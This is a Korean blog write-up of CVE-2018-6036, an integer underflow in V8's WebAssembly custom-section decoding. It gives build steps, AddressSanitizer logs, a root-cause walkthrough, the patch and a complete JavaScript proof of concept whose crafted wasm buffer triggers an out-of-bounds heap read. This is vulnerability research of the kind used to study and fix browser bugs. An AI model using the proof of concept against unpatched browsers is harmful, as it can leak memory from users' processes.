Research/1-day report

[Chrome] CVE-2018-6036

jir4vvit 2022. 2. 4. 14:42

BoB 프로젝트를 진행하면서 원데이 보고서를 썼었는데 블로그로 공개를 한다.

관련 프로젝트 겸... 내 깃허브 홍보 (*☌ᴗ☌)。*゚ : https://github.com/jiravvit/Chromium-Bug-Hunting-Project

 

 

01 Introduction


  • CVE-2018-6036 [crbug]
  • summary : Google V8 JavaScript 엔진의 WebAssembly(WASM) 기능에서 Integer underflow 취약점이 발견
  • v8 version : 6.5.0
  • reproduce for v8 commit [here]
  • patch for v8 commit [here]

 

02 BackGround


(1) What is WebAssembly

  • 웹 어셈블리는 C나 C++와 같은 프로그래밍 언어를 컴파일해서 어느 브라우저에서나 빠르게 실행되는 바이너리 형식(0과 1로 이루어진 이진 형식)으로 바꿔주는 기술
  • 'JavaScript보다 상대적으로 속도가 빠른 C나 C++을 브라우저에서 볼 수 있게 하자'라는 생각에서 착안되었다.
  • 기존의 개발은 JavaScript로 개발이 되었는데 이는 게임이나 동영상 편집기 등과 같은 고성능의 애플리케이션은 브라우저에서 동작하는데 어려움이 있었다.
  • ⇒ 웹 어셈블리는 웹 플랫폼에서 이전에 불가능 했던 클라이언트 응용 프로그램을 사용해서 웹에서 여러 언어로 작성된 코드를 네이티브에 가까운 속도로 실행되는 길을 제공한다.

(2) How it Works

WebAssembly

Compiler

 

(3) Module Structure

💡 module은 wasm 바이너리를 뜻한다.

변환 사이트 : http://mbebenita.github.io/WasmExplorer/

 

http://mbebenita.github.io/WasmExplorer/

Wat Compile/Assemble .wat using SpiderMonkey (Ctrl / Cmd + Enter) Assemble Convert .wat to .wasm and download Download

mbebenita.github.io

  • 웹 어셈블리로 변환할 C++함수
int add42(int num) {
  return num + 42;
}
  • test.wat
(module
 (table 0 anyfunc)
 (memory $0 1)
 (export "memory" (memory $0))
 (export "_Z5add42i" (func $_Z5add42i))
 (func $_Z5add42i (; 0 ;) (param $0 i32) (result i32)
  (i32.add
   (get_local $0)
   (i32.const 42)
  )
 )
)
  • test.wasm

magic number, version 다음에는 section sequence가 오게 된다. 각 section은 알려진 section 혹은 custom section을 인코딩하는 1byte 데이터(id)로 식별할 수 있다. 그 뒤에는 section legnth와 payload data가 뒤따른다. 알려진 각 section은 필수가 아니며 최대 한 번만 나타날 수 있다. 알려진 section에는 0이 아닌 id 값인 반면, custom section은 id가 0이다. 또한 custom section에서 id 값 0 뒤에 payload의 일부인 식별할 수 있는 string(=name)이 존재한다.

참고로 알려진 section의 목록과 id는 아래와 같다.

  • Type section (0x1)
  • Import section (0x2)
  • Function section (0x3)
  • Table section (0x4)
  • Memory section (0x5)
  • Global section (0x6)
  • Export section (0x7)
  • Start section (0x8)
  • Element section (0x9)
  • Code section (0xA)
  • Data section (0xB)

POC 작성을 위해 custom wasm을 작성해야 한다. 따라서 custom section에 대해 조금 더 살펴보도록 한다.

custom section

custom section은 모두 동일한 id(0) 값을 가지며 고유하지 않은 이름을 지정할 수 있다. custom section에서 name section을 사용하게 된다.

id 다음에 오는 값은 payload_length(=section_length), name_length, name(=string), payload_data이다. payload_data의 length는 section_length에서 name_length의 size와 name size를 뺀 값이다.

 

(4) JavaScript ArrayBuffer

자바스크립트는 자바스크립트엔진이 메모리를 알아서 자동으로 관리해준다. 따라서 자바스크립트를 작성하는 사람은 메모리 관리를 직접 할 필요가 없다. 하지만 WebAssembly를 이용하여 웹브라우저에 표시되는 코드가 C로 작성되었으면 메모리 관리를 사용자가 직접 해야한다. 이 경우에 사용자가 직접 메모리에서 값을 읽어올 수도 있고, 직접 값을 저장하는 것이 가능하다.

ArrayBuffer를 이용하면 자바스크립트를 사용하는 경우에도 데이터를 수동으로 관리할 수 있다. ArrayBuffer를 이용하면 자바스크립트가 제공하는 타입(type)을 저장할 수 없다. ArrayBuffer에 저장할 수 있는 것은 오로지 bytes 뿐이다.

ArrayBuffer 자체는 0과 1이 한 줄로 나열된 덩어리이며 배열 첫째 요소와 둘째 요소 사이의 구분이 어디에 위치하는지도 모른다. 문맥에 맞는 정보를 제공하려면, ArrayBuffer를 view라고 불리는 것으로 감싸야한다. 예를 들어, Int8 typed array를 이용해서 데이터 덩어리를 8bit 단위의 바이트 값들로 나눌 수 있다. 또는 unsigned Int 16 배열을 이용해서 데이터 덩어리를 16-bit 단위의 바이트 값들로 나눌 수 있다. 한 개의 버퍼에 여러개의 view를 적용하는 것도 가능하다.

(5) WebAssembly JavaScript APIs

Using the WebAssembly JavaScript API - WebAssembly | MDN

이 글에서는 POC 작성하는데 필요한 WebAssembly.Module() 객체만 더 자세히 알아보도록 한다.

WebAssembly.Module()

WebAssembly.Module - JavaScript | MDN

WebAssembly.Module()

위 구문은 새로운 Module 객체를 생성하는 구문이다. 또한 이것으로 인해 생성된 Module 객체는 브라우저에서 실행 가능한 기계어로 컴파일된 WebAssembly 바이너리를 나타낸다.

WebAssembly.Module.customSections()

WebAssembly.Module.customSections(module, sectionName)
  • Parameters
    • module : 사용자가 정의한 WebAssembly Module 객체
    • sectionName : 사용자가 정의한 string name
  • Return value
    • 사용자가 정의한 sectionName과 일치하는 section의 사본인 ArrayBuffer를 포함하는 배열
    • 빈 배열일 수도 있다.

03 Reproduce


(1) Environment

  • Ubuntu Version : Ubuntu 16.04
  • Memory : 8GB
  • Processors : 2
  • Hard Disk(SCSI) : 200GB

(2) V8 build

Install depot_tools

$ git clone <https://chromium.googlesource.com/chromium/tools/depot_tools.git>
$ export PATH="$PATH:/home/jir4vvit/repos/depot_tools"

Get the code

$ fetch v8
$ cd ./v8

Get the previos version code

$ git checkout 5b7e1a01f489fe294650c710b1eef07680c4f546
$ gclient sync -D

Build

$ ./build/install-build-deps.sh
$ gn args out/asan

target_cpu = "x64"
symbol_level = 2
is_asan = true
$ ninja -C out/asan/ d8

(3) log

jir4vvit@ubuntu:~/chromium.v8/v8$ ./out/asan/d8 ../poc.js

#
# Fatal error in ../../src/wasm/decoder.h, line 383
# Debug check failed: offset_ <= offset_ + length_ (268435440 vs. 14).
#

==== C stack trace ===============================

    ./out/asan/d8(__interceptor_backtrace+0x61) [0x556b94619721]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x13) [0x7efea1c70113]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8_libplatform.so(+0x207d6) [0x7efea1c267d6]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1a2) [0x7efea1c60f62]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8_libbase.so(+0x2697f) [0x7efea1c6097f]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so(+0x2874838) [0x7efea123a838]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so(v8::internal::wasm::DecodeCustomSections(unsigned char const*, unsigned char const*)+0xa69) [0x7efea1239ee9]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so(v8::internal::wasm::GetCustomSections(v8::internal::Isolate*, v8::internal::Handle<v8::internal::WasmModuleObject>, v8::internal::Handle<v8::internal::String>, v8::internal::wasm::ErrorThrower*)+0x3b8) [0x7efea12ff078]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so(+0x29139ff) [0x7efea12d99ff]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so(+0xc26424) [0x7efe9f5ec424]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so(+0xed735e) [0x7efe9f89d35e]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so(+0xed34ea) [0x7efe9f8994ea]
    /home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so(+0xed2667) [0x7efe9f898667]
    [0x7efe77704384]
Received signal 4 ILL_ILLOPN 7efea1c6bd7c

취약점을 트리거하기 위해 /src/wasm/decoder.h의 383번 line을 주석처리한다.

Trigger

jir4vvit@ubuntu:~/chromium.v8/v8$ ./out/asan/d8 ../poc.js
Allocating backing store
Allocating typed array buffer
Filling...
Setting up array buffer
Parsing module...
Triggering!
=================================================================
==69530==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f2e5f1f0000 at pc 0x560a751509d9 bp 0x7ffdb1b3bcd0 sp 0x7ffdb1b3b480
READ of size 4026531870 at 0x7f2e5f1f0000 thread T0
    #0 0x560a751509d8  (/home/jir4vvit/chromium.v8/v8/out/asan/d8+0x1099d8)
    #1 0x7f2e68da03ed  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0x29393ed)
    #2 0x7f2e68d7a92e  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0x291392e)
    #3 0x7f2e6708d423  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0xc26423)
    #4 0x7f2e6733e35d  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0xed735d)
    #5 0x7f2e6733a4e9  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0xed34e9)
    #6 0x7f2e67339666  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0xed2666)
    #7 0x7f2e3f204383  (<unknown module>)
    #8 0x7f2e3f21a7f9  (<unknown module>)
    #9 0x7f2e3f215857  (<unknown module>)
    #10 0x7f2e3f20c33e  (<unknown module>)
    #11 0x7f2e67de457e  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0x197d57e)
    #12 0x7f2e67de3402  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0x197c402)
    #13 0x7f2e670bfe43  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0xc58e43)
    #14 0x560a7517e419  (/home/jir4vvit/chromium.v8/v8/out/asan/d8+0x137419)
    #15 0x560a75194050  (/home/jir4vvit/chromium.v8/v8/out/asan/d8+0x14d050)
    #16 0x560a7519ac30  (/home/jir4vvit/chromium.v8/v8/out/asan/d8+0x153c30)
    #17 0x560a7519eb6c  (/home/jir4vvit/chromium.v8/v8/out/asan/d8+0x157b6c)
    #18 0x7f2e643c683f  (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)

0x7f2e5f1f0000 is located 6144 bytes to the left of 3426064-byte region [0x7f2e5f1f1800,0x7f2e5f535f10)
allocated by thread T0 here:
    #0 0x560a75177b82  (/home/jir4vvit/chromium.v8/v8/out/asan/d8+0x130b82)
    #1 0x7f2e68b98614  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0x2731614)
    #2 0x7f2e68b983d3  (/home/jir4vvit/chromium.v8/v8/out/asan/./libv8.so+0x27313d3)
    #3 0x560a7519e060  (/home/jir4vvit/chromium.v8/v8/out/asan/d8+0x157060)
    #4 0x7f2e643c683f  (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/jir4vvit/chromium.v8/v8/out/asan/d8+0x1099d8) 
Shadow bytes around the buggy address:
  0x0fe64be35fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe64be35fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe64be35fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe64be35fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe64be35ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe64be36000:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe64be36010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe64be36020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe64be36030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe64be36040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe64be36050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==69530==ABORTING

symbol이 없는 상태로 asan log가 출력이 된다. symbol을 살려주기 위해서는 src/tools/valgrind/asan/asan_symbolize.py 가 필요하다. 하지만 이 파일은 chromium을 fetch했을 때 가져와지기 때문에 src/tools를 git clone해서 가져와야한다.

 

How to apply asan_symbolize

git clone https://chromium.googlesource.com/chromium/src/tools
jir4vvit@ubuntu:~/chromium.v8/tools/valgrind/asan$ ./asan_symbolize.py
Traceback (most recent call last):
  File "./asan_symbolize.py", line 254, in <module>
    main()
  File "./asan_symbolize.py", line 230, in main
    set_symbolizer_path()
  File "./asan_symbolize.py", line 50, in set_symbolizer_path
    assert(os.path.isfile(symbolizer_path))
AssertionError

실행시켜보면 위와 같은 오류가 뜨는데, symbolizer_path가 없다는 오류 메시지가 뜬다. 이를 해결하기 위해서 환경변수 PATH를 설정해줘야한다.

jir4vvit@ubuntu:~/chromium.v8/v8$ find ./ -name "llvm-symbol*"
./third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer

빌드 디렉터리에서 위와 같은 명령으로 path를 찾을 수 있다.

export LLVM_SYMBOLIZER_PATH=/home/jir4vvit/chromium.v8/v8/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer

마지막으로 LLVM_SYMBOLIZER_PATH를 설정해주면 된다.

Asan log

jir4vvit@ubuntu:~/chromium.v8/v8$ ./out/asan/d8 ../poc.js 2>&1 | ~/chromium.v8/tools/valgrind/asan/asan_symbolize.py
Allocating backing store
Allocating typed array buffer
Filling...
Setting up array buffer
Parsing module...
Triggering!
=================================================================
==69118==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f609c5f0000 at pc 0x55e4524779d9 bp 0x7fff92643470 sp 0x7fff92642c20
READ of size 4026531870 at 0x7f609c5f0000 thread T0
    #0 0x55e4524779d8 in __asan_memcpy _asan_rtl_:3
    #1 0x7f60a61ef3ed in v8::internal::wasm::**GetCustomSections**(v8::internal::Isolate*, v8::internal::Handle<v8::internal::WasmModuleObject>, v8::internal::Handle<v8::internal::String>, v8::internal::wasm::ErrorThrower*) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/wasm/wasm-module.cc:393:5
    #2 0x7f60a61c992e in v8::(anonymous namespace)::**WebAssemblyModuleCustomSections**(v8::FunctionCallbackInfo<v8::Value> const&) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/wasm/wasm-js.cc:263:7
    #3 0x7f60a44dc423 in v8::internal::FunctionCallbackArguments::Call(void (*)(v8::FunctionCallbackInfo<v8::Value> const&)) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/api-arguments.cc:25:3
    #4 0x7f60a478d35d in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/builtins/builtins-api.cc:112:36
    #5 0x7f60a47894e9 in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/builtins/builtins-api.cc:142:5
    #6 0x7f60a4788666 in v8::internal::Builtin_HandleApiCall(int, v8::internal::Object**, v8::internal::Isolate*) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/builtins/builtins-api.cc:130:1
    #7 0x7f607c604383  (<unknown module>)
    #8 0x7f607c61a7f9  (<unknown module>)
    #9 0x7f607c615857  (<unknown module>)
    #10 0x7f607c60c33e  (<unknown module>)
    #7 0x7f60a523357e in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, bool, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, v8::internal::Handle<v8::internal::Object>, v8::internal::Execution::MessageHandling) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/execution.cc:142:13
    #8 0x7f60a5232402 in v8::internal::(anonymous namespace)::CallInternal(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, v8::internal::Execution::MessageHandling) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/execution.cc:178:10
    #9 0x7f60a450ee43 in v8::Script::Run(v8::Local<v8::Context>) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/api.cc:2092:7
    #10 0x55e4524a5419 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::Value>, bool, bool) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/d8.cc:703:28
    #11 0x55e4524bb050 in v8::SourceGroup::Execute(v8::Isolate*) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/d8.cc:2517:10
    #12 0x55e4524c1c30 in v8::Shell::RunMain(v8::Isolate*, int, char**, bool) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/d8.cc:2961:34
    #13 0x55e4524c5b6c in v8::Shell::Main(int, char**) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/d8.cc:3422:16
    #14 0x7f60a181583f in __libc_start_main /build/glibc-S7Ft5T/glibc-2.23/csu/../csu/libc-start.c:291:0

0x7f609c5f0000 is located 6144 bytes to the left of 3426064-byte region [0x7f609c5f1800,0x7f609c935f10)
allocated by thread T0 here:
    #0 0x55e45249eb82 in operator new[](unsigned long) _asan_rtl_:3
    #1 0x7f60a5fe7614 in Load /home/jir4vvit/chromium.v8/v8/out/asan/../../src/startup-data-util.cc:61:24
    #2 0x7f60a5fe7614 in v8::internal::(anonymous namespace)::LoadFromFiles(char const*, char const*) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/startup-data-util.cc:76:0
    #3 0x7f60a5fe73d3 in v8::internal::InitializeExternalStartupData(char const*) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/startup-data-util.cc:89:3
    #4 0x55e4524c5060 in v8::Shell::Main(int, char**) /home/jir4vvit/chromium.v8/v8/out/asan/../../src/d8.cc:3335:5
    #5 0x7f60a181583f in __libc_start_main /build/glibc-S7Ft5T/glibc-2.23/csu/../csu/libc-start.c:291:0

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/jir4vvit/chromium.v8/v8/out/asan/d8+0x1099d8)
Shadow bytes around the buggy address:
  0x0fec938b5fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec938b5fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec938b5fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec938b5fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec938b5ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fec938b6000:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec938b6010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec938b6020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec938b6030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec938b6040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec938b6050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==69118==ABORTING

/src/wasm/wasm-module.cc의 393번 line의 memcpy 함수에서 취약점이 트리거된 것을 확인할 수 있다.

362 | custom_sections = DecodeCustomSections(start, end);
... | ...
368 | for (auto& section : custom_sections) {
... | ...
393 |     memcpy(memory, start + section.payload.offset(), section.payload.length());
... | ...
396 | }

memcpy에서 사용된 section은 DecodeCustomSections 함수의 반환값이다.

Root Cause 분석할 때 DecodeCustomSections 함수부터 살펴보도록 한다.

 

04 Root Cause


(1) Root Cause

163c1c82622f09f64fe7c3a1c93f81b566200493 - v8/v8.git - Git at Google

아래는 취약점이 발생한 DecodeCustomSections() 함수의 일부분이다.

src\wasm\module-decoder.cc - DecodeCustomSections (const&amp;amp;amp;nbsp;byte*&amp;amp;amp;nbsp;start, const&amp;amp;amp;nbsp;byte*&amp;amp;amp;nbsp;end)

  1. byte의 section_code와 uint32의 section_length를 받아온다. [1]
  2. 현재 오프셋을 기준으로 section_start를 정의한다.
  3. uint32의 name_length를 받아오고, 현재 오프셋을 기준으로 name_offset를 정의한다.
  4. 현재 오프셋을 기준으로 payload_offset를 정의한다.
  5. payload_length는 section_length보다 (payload_offset - section_start)가 클 수도 있기 때문에 (검증하는 로직 x) underflow가 발생하여 payload_length가 큰 값을 반환할 수도 있다. [2]
  6. 그렇게 되면 consume_bytes() 함수를 통해 result가 section에 대해 유효하지 않은 값으로 채워진다. [3]

src\wasm\decoder.h

7. 마지막으로 result를 return하고 함수가 종료된다. (사진에는 없음)

 

아래는 취약점이 발생한 DecodeCustomSections() 함수를 직접 사용하면서 문제가 발생하는 GetCustomSections() 함수의 일부분이다.

 

src\wasm\wasm-module.cc - GetCustomSections (Isolate*&amp;amp;amp;nbsp;isolate, Handle&amp;amp;amp;lt;WasmModuleObject&amp;amp;amp;gt;&amp;amp;amp;nbsp;module_object, Handle&amp;amp;amp;lt;String&amp;amp;amp;gt;&amp;amp;amp;nbsp;name,&amp;amp;amp;nbsp;ErrorThrower*&amp;amp;amp;nbsp;thrower

  1. WebAssembly.Module.customSections을 호출할 때의 두번째 인자인 name과 section_name이 동일한지 확인한다. [4]
  2. section_payload를 우리가 반환할 ArrayBuffer에 복사할 준비를 한다.
  3. memcpy에서 memory는 ArrayBuffer를 의미하고, section.payload.length()는 DecodedCustomSections에서 반환된 underflow된 잘못된 payload_length이다. [5]
  4. 그 결과, Out-Of-Bound Read가 발생할 수도 있다.

Summary

  • 취약점이 발생하는 DecodeCustomSections 함수
    • section_length가 (payload_offset - section_start)보다 크다는 것을 검증하는 로직이 없으니까 integer underflow가 발생함
    • ⇒ integer underflow가 발생해서 payload_length에 엄청 큰 값이 들어감
  • 취약점이 발생하는 함수를 사용하는 곳 : GetCustomSections 함수
    • 잘못된 payload_length, 즉 엄청 큰 값의 payload_length만큼 메모리를 복사하니깐, 의도되지 않은 곳까지 데이터를 읽어서 OOB Read가 발생할 수도 있음

(2) POC

var string_len = 0x0ffffff0 - 19;

print("Allocating backing store");
var backing = new ArrayBuffer(string_len + 19);

print("Allocating typed array buffer");
var buffer = new Uint8Array(backing);

print("Filling...");
buffer.fill(0x41);

print("Setting up array buffer");
// Magic
buffer.set([0x00, 0x61, 0x73, 0x6D], 0);
// Version
buffer.set([0x01, 0x00, 0x00, 0x00], 4);
// UnknownSection (0)
buffer.set([0], 8); // custom section
// Section length
buffer.set([0x80, 0x80, 0x80, 0x80, 0x00],  9); // padding
// Name length
buffer.set([0xDE, 0xFF, 0xFF, 0x7F], 14); 

print("Parsing module...");
var m = new WebAssembly.Module(buffer);

print("Triggering!");
var c = WebAssembly.Module.customSections(m, "A".repeat(string_len + 1));

buffer

 

id(=0) 다음에 오는 값은 section_length, name_length, name(=string), payload_data이다. payload_data의 length는 section_length에서 name_length의 size와 name size를 뺀 값이다.

이것을 DecodeCustomSections() 함수에서는 아래와 같이 작성했다.

uint32_t payload_length = section_length - (payload_offset - section_start);

payload_data의 length은 payload_offset(name_offset(0x12) + name_length의 값(0x0fffffde))에서 section_start(0xe)를 뺀 값을 section_length에서 빼서 구한 것을 확인할 수 있다.

section_code :: 0x0
section_start :: 0xe
section_length :: 0x0
name_offset :: 0x12
name_length:: 0x0fffffde
payload_offset :: 0x0ffffff0
payload_length :: 0xf000001e

section_length가 0이기 때문에 (payload_offset - name_offset)을 빼면 payload_length는 음수가 나오게 되고 integer underflow가 발생하게 된다.

참고로 이 취약점을 트리거할 때 WebAssembly.Module.customSections()을 이용해서 트리거하는 이유는 아래 주석에서 확인이 가능하다.

src\ wasm\wasm-js.cc

주석만 봐도 확인할 수 있지만 혹시 몰라서 코드를 더 따라가봤다.

src\ wasm\wasm-js.cc

InstallFunc 함수의 모습은 아래와 같다.

src\ wasm\wasm-js.cc

05 Patch


문제가 되었던, section_length가 (payload_offset_section_start)보다 작을 수도 있는 경우를 대비하여 이를 검사하는 if문을 추가하며 패치가 된 것을 확인할 수 있다.

06 Conclusion


WebAssembly Module을 custom할 때, section_length가 유효한지 검증하는 루틴이 없다. 이 사소한 실수 때문에 범위 밖의 값을 읽는 취약점(Out Of Bound Read)이 발생할 수도 있다.

07 Reference


https://developer.mozilla.org/ko/docs/WebAssembly/Concepts

https://dongwoo.blog/2017/06/06/번역-웹어셈블리-모듈의-생성과-동작/

https://github.com/WebAssembly/design/blob/main/BinaryEncoding.md#high-level-structure

http://hacks.mozilla.or.kr/2017/11/a-crash-course-in-memory-management/

http://hacks.mozilla.or.kr/2017/11/a-cartoon-intro-to-arraybuffers-and-sharedarraybuffers/